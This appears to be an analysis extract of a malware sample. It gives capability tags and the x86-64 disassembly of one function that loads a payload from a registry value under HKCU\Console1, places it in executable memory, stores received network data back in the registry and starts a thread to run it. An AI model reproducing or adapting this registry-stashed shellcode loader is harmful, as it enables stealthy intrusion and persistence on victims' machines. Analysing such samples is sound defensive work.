Function at 0x140006870
Capabilities:
Allocate or change rwx memory
Create thread
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x990]
sub rsp, 0xa90
cmp byte [rdx], 0xc9
mov rsi, rdx
mov rdi, rcx
je 0x140006c7c
mov qword [rsp + 0xab0], rbx
cmp r8d, 0x65
jne 0x140006b36
lea rax, [rsp + 0x30]
lea rdx, str.Console1
xor ebx, ebx
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x9c8], 3
mov dword [rbp + 0x9b8], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400069da
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x9b8]
lea r9, [rbp + 0x9c8]
mov qword [rsp + 0x28], rax
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r11d, dword [rbp + 0x9b8]
cmp r11d, 0xa44
jbe 0x1400069cf
mov ecx, r11d
mov qword [rsp + 0xac0], r12
call fcn.14000c778
mov r8d, dword [rbp + 0x9b8]
xor edx, edx
mov rcx, rax
mov r12, rax
call fcn.140010b80
mov rcx, qword [rsp + 0x30]
lea r11, [rbp + 0x9b8]
mov qword [rsp + 0x28], r11
lea r9, [rbp + 0x9c8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400069c7
lea rcx, [0x140032670]
mov rdx, r12
mov r8d, 0xa44
call fcn.14000ecf0
movsxd rdx, dword [0x140032878]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x140032878]
lea rdx, [r12 + 0xa44]
mov rcx, rax
mov qword [0x1400330b8], rax
call fcn.14000ecf0
mov r12, qword [rsp + 0xac0]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsi + 1]
lea r8, [0x14003287c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140006a04
add rax, 2
test ecx, ecx
jne 0x1400069f0
test edx, edx
je 0x140006c40
mov rcx, qword [0x1400330b8]
test rcx, rcx
je 0x140006a2d
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x1400330b8], rbx
mov eax, 0x767b
lea rcx, [rsp + 0x5e]
xor edx, edx
mov word [rsp + 0x44], ax
mov eax, 0x5f55
mov r8d, 0x1e4
mov word [rsp + 0x46], ax
mov eax, 0x6a21
mov dword [rsp + 0x40], ebx
mov word [rsp + 0x48], ax
mov eax, 0x5757
mov esi, 0x64
mov word [rsp + 0x4a], ax
mov eax, 0x5f
mov dword [rsp + 0x4c], 0x64002e
mov word [rsp + 0x54], ax
mov eax, 0x62
mov dword [rsp + 0x50], 0x6c006c
mov word [rsp + 0x56], ax
mov eax, 0x69
mov dword [rsp + 0x5a], WSASetLastError
mov word [rsp + 0x58], ax
call fcn.140010b80
xor r11d, r11d
lea rcx, [rbp + 0x14c]
mov r8d, esi
xor edx, edx
mov word [rbp + 0x142], r11w
mov qword [rbp + 0x144], 1
call fcn.140010b80
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x7d0
call fcn.140010b80
xor r11d, r11d
mov ecx, 0xa45
mov dword [rbp + 0x980], r11d
call fcn.14000c778
lea rdx, [rsp + 0x40]
lea rcx, [rax + 1]
mov r8d, 0xa44
mov rbx, rax
mov byte [rax], 5
call fcn.14000ecf0
cmp dword [rdi + 0x10], 0
jne 0x140006b29
mov rcx, qword [rdi + 8]
mov r8d, 0xa45
mov rdx, rbx
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.14000eca0
jmp 0x140006c74
lea rcx, [0x140032670]
inc rdx
mov r8d, 0xa44
call fcn.14000ecf0
movsxd rdx, dword [0x140032878]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x140032878]
lea rdx, [rsi + 0xa45]
mov rcx, rax
mov qword [0x1400330b8], rax
call fcn.14000ecf0
mov esi, dword [0x140032878]
add esi, 0xa44
movsxd rcx, esi
call fcn.14000c778
mov rbx, rax
test rax, rax
je 0x140006c3e
lea rdx, [0x140032670]
mov rcx, rax
mov r8d, 0xa44
call fcn.14000ecf0
movsxd r8, dword [0x140032878]
mov rdx, qword [0x1400330b8]
lea rcx, [rbx + 0xa44]
call fcn.14000ecf0
lea r8, [rbp + 0x9b8]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140006c29
mov rcx, qword [rbp + 0x9b8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x9b8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbx
call fcn.14000f82c
xor ebx, ebx
lea r8, [0x1400066a0]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call fcn.14000f738
mov ecx, 0xbb8
mov qword [rdi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rsp + 0xab0]
add rsp, 0xa90
pop rdi
pop rsi
pop rbp
ret